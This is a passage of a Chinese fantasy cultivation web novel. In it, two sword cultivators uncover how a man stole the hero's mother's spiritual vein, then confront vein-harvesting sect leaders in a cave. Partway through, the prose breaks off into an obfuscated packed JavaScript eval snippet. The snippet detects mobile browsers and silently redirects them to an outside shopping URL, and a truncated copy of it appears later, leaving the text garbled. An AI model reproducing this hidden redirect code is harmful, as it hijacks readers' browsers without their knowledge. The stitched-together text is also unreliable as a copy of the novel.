“师兄。”她忽然抓住了他的手,被掌心刺骨的寒气激得浑身一颤,却还是没放开手,反而将他握得更紧。 薛昱脚步一顿,一瞬间便将浑身不经意冒出的冷气收了回去,回头看了孟知匀一眼,极黑极清冽的瞳孔中流露出一点不同寻常的情绪。 孟知匀微微偏头,对他笑了一下。 她和她的剑意一样,永远都带着勃勃生机,哪怕是在这样阴森昏暗的一线天中,都能让人感受到春日来信。 薛昱的唇角也勾动了一下,就这样牵着她,一步一步循着那气息往山谷最深处走去。 整个万花谷呈壶型,石子路的尽头是一大片空地。 乌云被风吹散,天光透过崖顶的缝隙,在一座座坟堆上打下了一束灿烂的日光。 一个皮肤苍白病态、脸上布满皱纹的男人正坐在最中间那座坟堆上,听到他们逐渐靠近的脚步声,这才缓缓抬起了头。 他的身体已经显露出老态,偏那双眼睛清澈如初,看起来颇为诡异。 追灵阵中代表血液气息的那根红线便一直连到了他身体里。 薛昱隔着十几步打量他,眼睑微压,霜白的灵光从剑柄一寸一寸蜿蜒至剑尖。 “你是朱庭兰的儿子?”那人掩唇咳了几声,黑血从他唇角溢了出来。 薛昱不答反问:“金素剑呢?” 那人摇了摇头,用干枯的手擦了擦唇角的血:“被他们带走了。” “萧倾带着整个万花谷的人去了西漠州的幽林,现在谷中,只剩我一个人啦。” 他通体的气息都透着腐朽衰败的黑气,原本运转灵气的灵脉也不知所踪,眼看是命不久矣。 孟知匀问道:“这里是万花谷的坟场?” 她能感知到,这些坟堆之下埋着数以千计的尸体,而且他们都有一个共同的特征——尸体上都残存着一点灵脉的痕迹,仿佛是被活活剖开经脉,把灵脉放进去后又拿了出来。 那人声音粗哑地笑了声:“埋葬失败品的乱葬岗罢了。” “你是谁?” “我叫彭玮,家住中州平宁郡杏子村。” 孟知匀猛地瞪大了眼睛,攥紧了薛昱的手,偏头看了他一眼,见他神色没什么异样才稍松了口气。 薛昱面色平静地看着他:“你住在朱家隔壁。” “不错。”彭玮目光慈善地看向薛昱,“我和你娘是小时候的玩伴,也是整个村子里唯二天生灵脉的修士。” “你杀了她。”薛昱往前走了一步,不容置疑地说道,“你身上有她灵脉的气息,十年前是你拿走了她的灵脉。” 那点稀薄的、遥远的、久违的母亲的气息,居然出现在这样一个尸体累累的地方。 彭玮撩起袖子,露出血淋淋的小臂,里面已经没有灵脉了,他的语气却平静,只道:“是她自己自愿给我的。” “你长得和她真像啊。”他再度看向薛昱,忽然捂着胸口笑了出来,又一股黑血涌了上来,“一剑寒五州的钟粹山二少主……” “她的命怎就这样好?连生下的儿子也是百年难遇的天才……” 看他生气将断,且心存死志,孟知匀松开薛昱,走到彭玮身前,将花信的一道剑气按进了他眉心,稍稍挽回了一点生机。 薛昱紧跟在她身后,始终将灵气拱卫在她身旁,生怕这人还留有什么后手。 “师兄,从他嘴里应该是问不出什么了,我来通灵。”孟知匀并拢二指,以花信压阵,迅速以彭玮为中心,布下了一个通灵阵,苍翠的枝叶瞬时爬满了阴暗的坟包。 薛昱将身上的剑递给她:“带雾凇入阵。” 本命剑和主人心意相通,带着雾凇通灵,薛昱在阵外也能同步看到彭玮的记忆。 “好。”孟知匀点头,往通灵阵和彭玮眉心各拍了一道灵气。 她一闭眼,就看到了杏子村。 少年彭玮看着身上的擦伤,眼泪无声地落了下来,抓住身旁妇人的衣袖,啜泣道:“娘,我的灵脉……我的灵脉是不是受伤了?” 妇人心疼地摸了摸他的头:“傻孩子,娘只是个普通人,不懂其中的门道。不过你这孩子,忒实心眼了,为了救那朱家的女娃娃,居然把自己置身险境,你知道娘看到你昏迷在山林里的时候心里有多慌吗?以后可莫要这么冒险了。” “我比她厉害,理应我来保护她。”彭玮摇了摇头,眼泪汪汪地说,“娘,我的手臂好疼……” “正好你爹在城里谋了个营生,我们现在就搬过去,去城里找个正经大夫给你好好看看。”妇人看着自家孩子手臂上的擦伤,也不敢胡乱给他上药,怕适得其反,急得眼泪也出来了,“娘现在就收拾东西,等你爹回来我们就进城。” 不出一个时辰,妇人便把家里的要带走的东西收拾得差不多了,等他丈夫一回家,一家三口便急匆匆地拿着家当赶着驴车进城去了。 杏子村离平宁郡不远,三人一进城,立刻找了个客栈把东西放下,彭夫人便带着儿子去城里最负盛名的医馆求医去了。 坐堂的是个年逾花甲的老大夫,仔细给彭玮检查过一遍后便道:“只是普通的擦伤,用些伤药,不出一个月就能好利索。” “大夫,你可要仔细着点,我儿子是天生灵脉的修士,以后可是要拜入宗门的,可不能有一点闪失。”彭夫人拧着细眉,再三叮嘱。 大夫冷哼了一声:“老朽说无事便是无事,若是信不过老朽的医术,大可以换家医馆去瞧!” 彭玮松了口气,拉了拉她娘的衣袖,对大夫道:“多谢先生,无事便好。” 既然已经进了城,三人边在这边赁了个小院子住下,彭玮每日按时伤药,果然不出一日便好利索了,正逢附近一个小宗门在城中贴出告示要招收弟子,他便兴冲冲去参加了入门考核。 他向来对自己的天资颇为自信,在没有师父教导的情况下,他自己便摸索出了许多术法,灵力也比朱庭兰深厚得多,于是便觉得自己是天才,通过这样一个小宗门的考核简直是绰绰有余。 他此番前去也并非是为了入这个门派,只是想展露一下自己的天资,以他的能力,将来可是要拜入三大宗门的。 然而,他却连考核的第一关都没能过去。 那个负责招收新弟子的修士连正眼都懒得施舍给他,跟身旁人嘲讽道:“怎的这样庸碌的资质也想往我们宗门挤?这底子比凡人也就好一点,不在家里躲着就算了,也不知道为何上赶着来入门考核丢脸。” 彭玮脸色都白了,脚步飘忽地走出考核的场地,“庸碌”两个字像是一把尖刀,扎得他心口刺痛,像游魂一样失魂落魄地回到家里,在见到母亲时才“哇”的一声哭出来。 “娘——” “我的灵脉肯定受伤了,那个老头子是骗人的,我今天用灵力明明感觉手臂刺痛,一定是我的灵脉被那个树妖伤到了……” 他哭得上气不接下气,彭夫人心疼得不行,一边顺着他的背,一边安慰道:“好孩子,说不定再养一段时间就好了,再说,不当修士也没什么,就留在家里也挺好的。” “不行!”他猛地推开母亲,急得直跺脚,“我才不当凡人!我要去治病,我要治好我的灵脉!” “好好好,我们治病。”彭夫人差点被推倒,却也不忍和自家孩子置气,顺着他哄道,“我们去找医修,让他们好好给你看看,肯定能治好的。” 一家人就这样又辗转去了中州的天启郡、奉仙郡,花了大价钱先后找了许多个医修看病,却都说他灵脉完好,并无损伤。 彭玮断定这些人是庸医,直到遇到了一个刀修,说是可以治愈他的灵脉,但是得他拜入自己门下,传承他们宗门的衣钵。 这人的出现简直是天降甘露,彭玮当即拜别了父母,跟着刀修进了山,结果这人哪有什么宗门,只是在山林里有一座茅草屋。 刀修告诉他,是因为仇家找了厉害的外援,屠戮了他们宗门,他这才流落山林,只要彭玮好好听他的话,潜心修行,不出两年便能治愈灵脉,同时传承他们宗门的刀法,重振往日荣光。 哪怕冥冥之中感知到了此人的不靠谱,彭玮还是留了下来。 万一呢,万一他说的是真的。 这一待,就是八年。 他从一个少年逐渐长成了青年,在这座茅屋里,给刀修当牛做马了整整八年,甚至在年少懵懂之时被他诱骗到了床上,在晚上沦为了他泄欲的玩物。 但是他的确教了他刀法,还不知从哪弄来了草药,让他每日涂在灵脉上。 几年过去,彭玮觉得自己已然痊愈,可以出师了,于是他一刀砍下了师父的脑袋,带着染过血的刀下了山。 离开那个脏污的茅屋,他觉得自己重新拥有了少年意气,准备降妖除魔、救助百姓,只身拎着刀就杀去了一个潜藏着妖物的山林,准备救出被它抓走的百姓。 但是他自以为精妙绝伦的刀法在妖物面前竟不堪一击,那把刀也被妖物震碎成了三段。 生死攸关之时,一个女子一剑削下了妖物的脑袋,轻而易举就将他连同被掳的百姓救了出去。 他浑浑噩噩地跟在这群凡人身后,忽然听到最前面的那个女子说—— “我是钟粹山剑修朱庭兰。” 朱庭兰。这个早已淹没在记忆深处的名字一出现便在他心里掀起了滔天巨浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340286|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他甚至熬不到下山,下意识不想以现在的模样和她相认,便找了个机会脱离众人,独自拎着断刀走上了山顶。 最初的惊诧过去后,汹涌而至的是他不得不承认的忮忌。 当年那个跟在他身后的小女孩,竟已拜入了声名赫赫的钟粹山,她肆意挥出的一剑,竟是他今生难以望其项背的高峰。 幼时她天真的言语犹在耳边:“彭玮哥哥,我什么时候能像你一样厉害呀?” 当时他满心骄傲地摸了摸她的头,说:“就算你不厉害,我也会一直保护你的。” 如今想来,简直是可笑。阔别多年,再见这日,竟是她救了他。 彭玮低头看向自己的小臂,苦熬的这些年,像极了一个充满嘲讽的笑话。 他憋了许多年的眼泪终于簌簌而下,呓语般呢喃道:“原来我的灵脉还没治好……” “还没治好……怎么就治不好了呢?”他跪在山巅,呜咽声被猎猎寒风吹散,“如果当初……” 如果当初没有救她,没有独自留下对付树妖—— 那如今拜入钟粹山的,会不会是他? 他带着满腔的悔恨和仅剩的一丝希望去了万听谷,跪在无风林前一天一夜,恳请掌门为他医治。 刚从山下归来的萧越将他带回了宗门,仔细为他检查了灵脉,最后撩起眼皮看了他一眼。 她的眼睛那样平静,无波无澜,却仿佛能洞察他心中所有的阴暗、逃避和自我欺骗。 她说:“你的灵脉从未受过伤。” 怎么可能,怎么可能…… 当他失魂落魄地离开万听谷时,一个长相艳丽非凡的女子出现在了他面前,对他说道:“你的灵脉的确受伤了,不过伤在灵脉深处,我妹妹那个庸才这才诊断不出来,跟我走,我能把你治好。” 于是他跟着她回到了万花谷,得知了她口中所谓的治疗究竟是什么。 “当年她的命都是你救的,如今还你一条灵脉而已,这不是天经地义的吗?”萧倾让他看到了那些成功换了灵脉的修士,那点儿隐没在内心深处的心思一点一点活跃起来。 对啊,当初要不是为了保护她,他也不会被树妖伤到灵脉,以至于现在成为了一个废物,这本来就是她欠他的! 在那点不管不顾、满是忮忌的情绪的鼓动下,他给朱庭兰写了信,约她在酒楼一聚。 没想到她竟然真来了,还带了许多世间罕见的灵物当做赠礼。 “当年是我太过弱小,才害你被树妖伤到了。”成名多年的剑修在提起往事时,仿佛变回了那个无能为力的小女孩,真挚又愧疚地看着他,“这么多年我一直刻苦修行,就是想像你一样,可以好好保护自己在乎的人。” 彭玮沉默了片刻,终究还是把那杯加了料的酒递给她。 萧倾带他们回了万花谷,在换灵脉之前才将朱庭兰唤醒,满是恶意地告知了她前因后果,问她后不后悔前去赴约。 没想到朱庭兰竟是坦然一笑,看着他的眼睛,说道:“如果这条灵脉能弥补你这些年,那你拿走吧。” 他像疯了一样辱骂她,骂她装腔作势、故作清高,分明是她自己不慎落入了这个境地,竟还敢摆出一副大度施舍的模样。 她凭什么? 换灵脉的过程中,须得他们始终收敛灵气,所以不能含麻草,只能生生挨着那样剥皮抽筋的疼痛,但是他们谁也没有哀嚎出声,哪怕将嘴唇咬得血肉淋漓。 他得到了朱庭兰的灵脉和本命剑,感知到了从未有过的充沛灵气,却再也不仅仅是彭玮了。 灵脉中残存的意志和时常背离他心意的剑灵令他行为混乱,万花谷桩桩件件的脏活需要他沾手。 他杀了许多人,好人、坏人、修士、百姓,他变成了一个不配有自我想法的趁手的工具,那只潜藏在他灵脉中的蛊虫,让他彻底沦为了罪恶深渊的奴仆,成为了执掌这座乱葬岗的刽子手。 十年的时间仿佛弹指一瞬,那些人的血一次一次泼了他满身,终于,随着他们决定放弃他,剖走他的灵脉,他才彻底解脱了。 孟知匀结束了通灵,心里仿佛沉沉地压着一块巨石。 薛昱站在一旁,看着这个愈发腐朽的老人,积压多年的怨恨、不甘、埋怨仿佛在这一刻都失去了支撑,轰然地碎成了一地的残渣。 怪不得父亲不肯调查母亲去世的真相。 他原来是早就知道——她是自愿的。 哪怕她知道他的灵脉并无损伤,她还是要还清幼时那桩恩。毕竟,无论结果如何,当初挡在她面前的就是如今这个面目全非的邻居。 如果不去偿还,她就永远是那个懦弱的、被人护在身后、只能眼睁睁看着他人为自己牺牲的小女孩。 怪不得她最后是笑着走的,了却记挂多年的心结,她的确应该释然。 薛昱俯身从彭玮小臂上的伤口处取了一点灵脉余息,然后说道:“我们之前在杏子村遇到了那个树妖,它为当初吓唬你心怀惭愧,这么多年一直守着你们的院子。” “当年,它并没有伤你。” 彭玮依旧闭着眼睛,似乎没有因这番话而有丝毫心绪波动,直到两人的脚步声逐渐消失,他才仰头躺在了坟堆上,睁眼看到头顶那点稀薄的天光。 死到临头,他的心很空,那些纠缠他多年的东西仿佛都消失殆尽,唯有当初辞别之时,父母花白的头发历历在目。 还有年少时,他拿着一柄木剑,骄傲地昂起胸脯,对朱庭兰说下的那句—— 我要惩恶扬善、降妖除魔,成为真正的绝世剑修! 40. 剑阵 走出万花谷,已经到了傍晚时分,偌大的山谷中,只有鸟雀投林的声音。 薛昱低头看向瓷瓶里那点若隐若现、几乎要彻底消散的灵息,眸光有些晦暗。 “叮——”系统邮件不合时宜地抵达了孟知匀的邮箱。 由于她近几日完全将系统待办抛之脑后,邮箱里已经堆积了许多罚款邮件,但是这封邮件不同以往,明确提出要她阻止薛昱独自前往西漠州,并且对惩罚机制进行了升级,将由罚款上升到体罚。 孟知匀感觉自己头都打了,来不及细想会有什么体罚,便直接攥住了薛昱的手腕,道:“师兄,长老他们不日就能抵达南华州,到时候一起前往幽林也不迟。” 薛昱将瓷瓶收起来,回过身垂眸看她,用另一只手摘下了她头上不小心沾到的落叶。 “师兄……”孟知匀轻轻捏了捏他的手,皱着眉头继续道,“万花谷和移花门勾结,手段阴险,蛊虫更是让人防不胜防,只身前去风险太大了。” “我知道。”薛昱手指轻柔地拂过她的发梢,声音微哑,“但是这点灵息很快就会消散,不立刻赶过去,说不定他们就再次转移了。” “他们集结了那么多邪修,还抓了那么多用于实验的普通人,经不起多次转移的。”孟知匀仰着头,一瞬不瞬地盯着她的眼睛,“何况,就算这次找不到,只要他们还在活动,以后就还有机会。” “师兄,你……” 不等她说完,薛昱的吻就落了下来。 孟知匀猛地瞪大了眼睛,直接僵在了原地,任由他一点一点撬开她的唇舌。 他伸手捂住了她的眼睛,在冬春交替之时的晚风中,和她接了一个缠绵的吻。 像是一场似乎没有明日的道别。 他等了这么多年,找了这么多年,终于得到了母亲遗物的踪迹,知道了当年她遇害的真相,怎么可能会为了一个不确定的“以后还有机会”就轻言放弃? 他要去找回金素剑,杀掉萧倾。 纵然知道幽林是龙潭虎穴,他也不想后退等待。 唯一舍不得的,只有一个她而已。 她的眼泪汹涌而出,原本拉着他的那只手也被他反客为主地包在掌心,终至五指相扣。 而那原本缠在两人尾指上的红线,竟也在此刻灵气耗尽—— 断开了。 “任务失败,现启动处罚程序。” 系统提示音在她脑中话音刚落,一股细密的电流顺着她的脊柱蜿蜒之上,在转瞬间就让她直接晕了过去。 孟知匀从未像此刻这般想弄死系统,甚至在醒过来后,下意识便拿手背捂住了眼睛。 第一次接吻就昏过去,这实在太丢人了。她不想面对这个现实。 “醒了?”萧翎琅带着笑意的声音在她床边响起。 孟知匀深吸了一口气,从床上坐起来,目光在房间里扫了一圈,问道:“我师兄呢?” “你问我我问谁?”萧翎琅把药碗往床头一搁,摊了摊手,“他把你抱回来后就走了,一句话也没跟我多说。你们剑修就是这种死德行,动不动就没影儿,不过……” 她挑了下眉,啧啧称奇:“没想到他这次连你也抛下了。” 孟知匀看到系统面板上那个刺眼的任务失败,感觉身上还残留着麻嗖嗖的电流,当即穿鞋下了床,拿着自己的花信就要出门。 “喂!”萧翎琅眼疾手快地张开双臂挡在她面前,脑袋上的银饰“哗啦”作响,“你不说明白去哪,今日就别想出这个门!我现在可是给你治病的大夫,起码对我要有个交代吧?” 孟知匀叹了口气,揉了揉眉心,低声道:“师兄去幽林寻金素剑了,我去找他。” “什么?”萧翎琅不可思议地看着她,“你们一个两个地发什么疯?仗着自己有本事就上赶着送死吗?你知不知道萧倾那个疯子有多少让人防不胜防的手段?” “姑奶奶,你别嚷了。”孟知匀感觉脑瓜子嗡嗡的,“我怀疑他们是刻意做局要引师兄过去,所以才不能任他一个人前去。” 如果是雅音会是林不平为自己报仇所布局的一盘棋,那万花谷突然袭击万听谷,并且在全宗门撤离后留下彭玮一个人,就显得格外奇怪。 仿佛是故意要留下一个又一个钩子,钓着他们一步一步得知金素剑的下落,最终找到幽林去。 并且他们对薛昱的为人也猜得很透,知道他等不到钟粹山来援,且不想牵连他人,定会只身前去。 要说师兄身上有什么值得这帮丧心病狂的疯子如此惦记的—— 那便是他的灵脉。 “你以为幽林是什么地方?多加你一个能有什么用?”萧翎琅简直恨不得指着她的鼻子破口大骂,“你们就不能等一等吗?槐序长老他们已经在路上了,多等几天是能死吗?” 孟知匀揉了揉自己的耳朵,晃了晃脑袋,推开她就要离开。 萧翎琅见她简直是好赖话不听,气得直咬牙,只能把自己的银铃塞给她:“拿着,方便姑奶奶我给你收尸!” 孟知匀忍不住笑了一下,一边往外走,一边捏着银铃摇了摇,头也没回地对她说:“放心吧,我还欠你一顿饭呢。” 萧翎琅看着她越走越远的身影,狠狠一跺脚,转身就往自己师父的住所跑。 * 孟知匀在御剑的路上查看了一下系统,发现自从她出发前来找薛昱,系统的处罚邮件通通消失了,甚至还提前给她预支了项目奖金,连天天催着她写的日报、周报、季度总结和年度自我评估也沉了底,不再提起。 果然,系统对她师兄的安危有一种非同寻常的在意。 她低头抚摸了一下空荡荡的左手尾指,一股悄然袭上心头的失落感慢慢蚕食着她的心绪。 还有那个混杂着眼泪和绝望的吻。 他明明知道此去凶多吉少。 可是他还是做了和他娘一样的决定,只为了心头横亘多年、不死不休的执念。 她被各种规训推着走了这么多年,下意识在面临每一个选择时寻找最优解,现实告诉她,不要和既定的规则作对,不要反驳千百年传承下来的优秀模板,于是她像一只勤奋的工蚁一样辛勤而忙碌地经营自己的生活,单单为了活下去就耗费了大量的时间和精力,其余的心绪都变成了天边浮云,在日复一日的奔波中早就没了观云的心气。 她原本以为自己不能理解这种孤注一掷的勇气。 但是亲眼目睹他做出选择的那个瞬间,她心中升腾而起的居然是羡慕。 前后两世,她一直劳碌于“我应该做什么”,却很久没去想——“我想要做什么”。 孟知匀从空中看向偌大一片黑压压的幽林,吐出了一口浊气。 难得做一次不瞻前顾后的、任性的决定。 她现在只想去找他。 在进入幽林前,她给系统发了封邮件,第一次以日常的口吻问它—— 有没有兴趣做个交易? * 幽林中一处隐蔽的山谷内。 薛昱甚至没有隐匿自己的踪迹,直接提着剑一路走来,顺便砍断了两侧牢狱的铁锁,将里面被关押多日、水米未进的普通人放了出来。 这些邪修诱他前来,必有大阴谋,说不定会殃及无辜,他不能留这些人在这里苦苦等死。 一瞬间,谷内喧哗四起,许多被拐来的百姓趴在笼边哀嚎,求他将他们也放出去。 一共四十八个牢笼,关押了数以千计的普通人,但是自他踏入谷内开始,万花谷和移花门的邪修就未曾露面,甚至在这些百姓一窝蜂地冲出山谷,也无一人出面阻拦。 薛昱握紧了雾凇,循着那点微弱的、几乎马上要消散的灵息,一步一步走进了山体内部开凿出的洞穴中。 他刚踏入山谷一步,便打了个响指,一道灵火从他指尖流出,照亮了洞窟入口处。 山壁之上,竟密密麻麻地趴着一堆又一堆蛊虫,像极了一丛丛长势喜人的枯草。 薛昱两指并拢,从眉心分离出一道霜白的剑气,一剑荡入洞窟内部,直接将整个洞穴染上了一层白霜,把那些蛊虫牢牢冻在了山壁之上,其求生欲也不像噬心蛊那样强劲,逐渐在寒冷中没了生息。 他继续往洞穴内部走,并放出灵气去前面探路,然后猛地一睁眼,发现自己所处之地灯火通明,萧倾和林不平正坐在最上首的木椅上,萧倾手里拿着把玩的便是金素剑。 “薛二少主。”林不平起身对他拱手行了一礼,“久仰大名。” 薛昱淡淡扫过他们,目光落在了傀儡一般站在一旁的谭素月身上,忽然道:“我哥还在等你回信。” 谭素月看着眼前这张有几分肖似薛旻的脸,原本涣散的眼睛一点一点恢复了清明,甚至露出了一点不知所处何地的懵懂感。 林不平笑着将谭素月一把拽进自己怀里,眼睛却一直看着薛昱:“内子记性不好,早不记得那些无关紧要之人了,还望二少主见谅。” 薛昱往前走了一步,寒霜瞬时蜿蜒了整个洞室。 “你们给她下了蛊?” 萧倾仰头大笑,戏谑一般看了一眼林不平,嘲讽道:“可比我的蛊狠多啦。” “拿尸毒浸泡整整七天七夜,药性侵体,若是能熬住不死,便会变成只能乖乖听从命令的活尸呢。” 谭素月眼中最初的那点迷茫已经消散殆尽,仅剩一点挣扎不脱的苦楚,就那样木然地盯着薛昱看,似乎想在最后回想起昔日爱人的模样。 “怎么啦?动了杀心?”萧倾把金素剑“哐当”一声扔到了身旁的桌子上,对他眨了眨眼睛,“二少主难道不想知道,你刚刚放出去的那帮人,身体里有什么吗?” 薛昱心里隐隐悬着的那点疑惑终于落了地。 当真是好算计,这些人果然是十分了解他,甚至将他每一步的行动都算得一清二楚。 “雅音会你也在场,陆恒文死后,那些仆役的下场,你亲眼看到了吧?”萧倾站起身,赤足走到他身前,仰着头看他那双如冰似霜的眼睛,“长得如此俊俏,天资这样高,真是让人不忍心毁掉呢。” “就和你娘一样。” 薛昱出手如风,猛地攥住了眼前人脆弱的脖颈,手底泛出的一层寒霜让她瑟瑟发抖。 “你们想要什么?” 林不平低头拿手指缠着谭素月的头发,懒得对萧倾施舍一个眼眸,闻言只是笑了一下:“二少主这个做派,可不是谈判的姿态吧?” 薛昱松开手,萧倾当即瘫软在地,捂着胸口咳了起来。 “噬心蛊的母蛊在谁身上?”薛昱看向坐在一旁的林不平。 萧倾从地上爬起来,拍了拍自己身上沾着的灰尘,冷哼了一声:“你猜啊。” 薛昱归剑入鞘,眸色冰冷地瞥了她一眼,再次问道:“你们要什么?” “以二少主的聪慧,想必早就猜到了吧?”林不平牵着谭素月的手,走到他面前,语调轻缓地说道,“我们煞费苦心将二少主引至此地,自然是要你身上最难得之物。” “你的——灵脉。” 薛昱冷笑一声:“你们以金素剑为诱饵,以几千人的性命为筹码,就为了我的灵脉?” “瞧瞧,”萧倾拍了拍林不平的肩膀,媚眼一斜,“你趋之若鹜的东西,人家压根不放在心上,你说你可笑不可笑?” 林不平挥开她的手,直直看向薛昱:“二少主出身于钟粹山,生来便享有寻常人倾尽一生都难以得到的天资、灵物,自然看不上我们这种汲汲营营的庸才。” “你不觉得太不公平了吗?”林不平向来和煦的眼眸微微眯起,露出几分冷意,“凭什么你们这种人生来就能得到一切?到头来还要劝别人认命,摆出一副高高在上的姿态,居高临下地审视这些庸碌之人……” “所以呢?”薛昱面无表情地看着他,“林掌门觉得自己所作所为是公平的?” “起码我们给了从一开始就在山脚下的人一点往上爬的希望,不是吗?”林不平收敛了自己难得露出的真实情绪,恢复了往日翩翩公子的做派,拂了拂袖。 “你们拐来大量普通人,让他们沦为你们灵脉移植的耗材,最后将更换灵脉、提升天资的手段掌握在你们自己手里,这是公平吗?”薛昱笑了一声,不等他回答便继续说道,“原来抢夺别人的东西,并且‘抢’的权力牢牢把控在自己手里,这就是林掌门口中的公平。” 林不平脸色不虞,却也不想多做口舌之争,转身从一个箱笼里拿出一道泛着幽光的绳子,又换上一副笑脸,对薛昱道:“所以,二少主是愿意把自己的灵脉给我们了?” “可以。”薛昱瞥了一眼那根绳子,“不过你们得跟我签下血契。” 听到“血契”二字,林不平和萧倾俱是脸色一变。 这是在江湖上消亡多年的禁术,以施咒人的血液为誓,加以最霸道、毒辣的符咒,一旦契成,签下血契之人必须依照誓言行事,不然会生不如死地变成一具没有神识的行尸走肉。 “真是没想到,二少主这样的人,也会在暗地里偷学禁术。”萧倾不敢再靠近他,柔弱无骨地坐回了椅子上,眼睛里的审视却不加掩饰。 “与我签下血契,我将灵脉给你们,你们把我娘的剑还我,同时保证再也不做‘灵脉移植’这种勾当,此生不再伤害任何人。” 林不平见谭素月又闭上了眼睛,便把她拉回自己怀里,低头拨弄她脖子上的长命锁,笑道:“二少主这条件未免太苛刻了,看起来并非是诚心来谈判的。” 其实薛昱一踏进山谷就发现自己入了一个邪门的法阵,不仅找不到阵眼,还无从探知其效果,直到他隐隐感知自己灵气运转略有滞涩,才明白这是一个失传已久的锁灵阵——能够让修士在阵中无法调动灵气,形同凡人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好一个浓情蜜意。”萧倾哼了一声,忽然拍了拍手,一群和雅音会上别无二致的人虫便从洞室的缝隙里爬了出来,它们异化得更为厉害,已经毫无人样了,看起来只像是一群长了人脑袋的巨型虫。 薛昱和孟知匀背靠着背,各自亮出了自己的本命剑。 人虫密密麻麻将他们围在中间,只待萧倾一声令下,它们便能群起而攻之,大大加快二人灵力消耗的速度。 萧倾拿出一柄小匕首,神色慵懒地摩挲着刀柄。 这批守在谷中的人虫只听她一个人的号令,只需在这锁灵阵中洒下她的一滴血,它们便会对她指定之人进行攻击,不死不休。 结果不等她在割破手指,一个极快的人影便猛地冲了过来。 匕首完全没入了来人的胸膛。 萧倾惊恐地松开手,谭素月的身体轰然倒地,那双在临死前因剧烈疼痛而恢复了稍许清明的眼睛,直直看向孟知匀和薛昱,最后扯出了一点笑意。 林不平感觉自己像是做了一场噩梦。 梦中的谭素月就是这样,一次次地赴死,看也不看他一眼,仿佛他是什么比死亡还要令她厌弃的东西。 为什么她从来不肯看他一眼。 那个薛旻,甚至都不肯亲自来寻她一次,凭什么被她一直放在心上。 这些人究竟凭什么,总是轻而易举便能得到他求之不得的东西。 一个银铃凭空袭来,林不平一把攥着那个铃铛,五指一握,将其捏扁,目光冰冷地看向阵中的二人:“杀了他们。” 萧倾诧异地挑眉看他:“他们若死了,灵脉也换不成了。” 林不平俯身将谭素月尚且温热的尸体抱了起来,面无表情地重复:“杀了他们。” 萧倾觉得他颇为不可理喻,但是锁灵阵是他布下的,他们二人在这洞窟之中也是互相钳制,事到如今,这人既已被恨意冲昏了头,甚至要放弃筹备多时的谋划,那她也只能奉陪了。 她摇了摇头,拿出一个金铃随手摇了摇。 隐秘在洞穴深处的其余人虫也闻声爬了出来,一层一层地将二人包围在了锁灵阵中央。 单论个人武力,他们自然无法与这两个绝世剑修抗衡,但是在锁灵阵的加持下,这些孩儿们就算是耗,也能将他们活活耗死。 “师兄。”孟知匀忽然用花信的剑尖抵住雾凇,闻声问道,“你怕不怕?” 薛昱回头看了她一眼,低声道:“有点怕。” 怕她真的因他而命丧于此。 “怕的话就抓紧我的手。”孟知匀看着离自己不足五步远的、密密麻麻的人虫,语调却轻快。 薛昱轻轻捏了捏她的手指:“好。” 萧翎琅拔下自己发上的珠钗,猛地扎破了自己的手指,将那滴血洒向了人虫大群。 刺耳的啸叫瞬时响彻整个洞窟,原本诡异寂静的虫群各个被染红了眼睛,直愣愣地扑向阵中央的二人。 随着自身灵力的消散,他们迟早会死在这里,葬身“虫”口。 不等薛昱出剑,孟知匀猛地把花信插在了锁灵阵的阵眼处,动作迅疾地从自己眉心分离了一道剑气出来,将其狠狠注入了剑柄。 一瞬间,淡碧的灵光笼罩了整个洞室,已经朝他们飞扑而来的人虫仿佛被瞬间定格,原本已经运转多时的锁灵阵也被从更深处破土而出的剑阵冲击得失了效力。 一道又一道无匹的剑气从剑阵中流出,精准地刺入一只只人虫心窍处的蛊虫。 这是钟粹山百剑峰的万剑灵阵! “这剑阵只能维持一刻钟,我们得赶紧离开。”孟知匀回头轻声对薛昱道。 薛昱没多追问她如何做到的,只是用灵气分别捆住了萧倾和林不平,俯身捡起了金素剑,另一边孟知匀则强行踹开了林不平,抱起了谭素月的尸体,留下花信在此压阵,二人迅速离开了洞窟。 “那个银铃是萧翎琅给我的,里面装着在雅音会上她捉到的那只蛊虫。”直到离开幽林,孟知匀才彻底松了口气,对薛昱解释道,“我先后用这个铃铛试探了萧倾和林不平,里面的蛊虫在接触他们之后都未曾发出啸叫,可见他们二人身上都未曾种下那噬心蛊的母蛊,所以最大的隐患也消除了,我便召来剑阵破解了锁灵阵,顺便根据银铃中那蛊虫的气息,清理这最后一批人虫。” 薛昱在锁灵阵中待得时间太长,身上的灵力被消耗得所剩无几,一路上又御剑带她们出了幽林,眼下已经有些头脑发昏,听师妹说完,他还来不及说些什么,便两眼一黑昏了过去。 “师兄!”孟知匀放下谭素月的尸体,扑过去探查他的身体,见他只是灵力枯竭,并无其他明显伤处,这才两腿一软瘫倒在地。 “喂,你师兄不会死了吧?”空旷的山林前陡然响起一道熟悉的声音。 孟知匀抬起头,正对上萧翎琅那双黑沉沉的眼睛,她身后还跟着一群万听谷弟子。 “没事,只是灵力枯竭,晕过去了。”孟知匀单手撑着地,想站起来。 “得了。”萧翎琅走过来制止她,“我看你也好不到哪去,最后不还是得姑奶奶我来给你们收拾残局?” 孟知匀忍不住笑了:“的确得劳烦你了。” 随后,她正了正脸色,说道:“不过,还有件事,需要你帮忙。” 41. 归山 万剑灵阵将潜藏在整个洞窟中的人虫以及其他蛊虫都清扫干净了,随后花信稳稳悬到空中,剑身上的剑铭亮起灵光,将灵阵中的剑气吸纳回了剑中,然后“噌”地飞出了洞穴,自行循着主人的气息回到了孟知匀身边。 洞室中原本布下的锁灵阵也慢慢恢复,不仅会使人灵力消散,还锁住了出口,令人无论如何也走不出山洞。 萧倾和林不平蜷缩在两个角落,身旁堆积着血腥可怖的人虫尸体,身上的绳索也在锁灵阵复原之时被割断了。 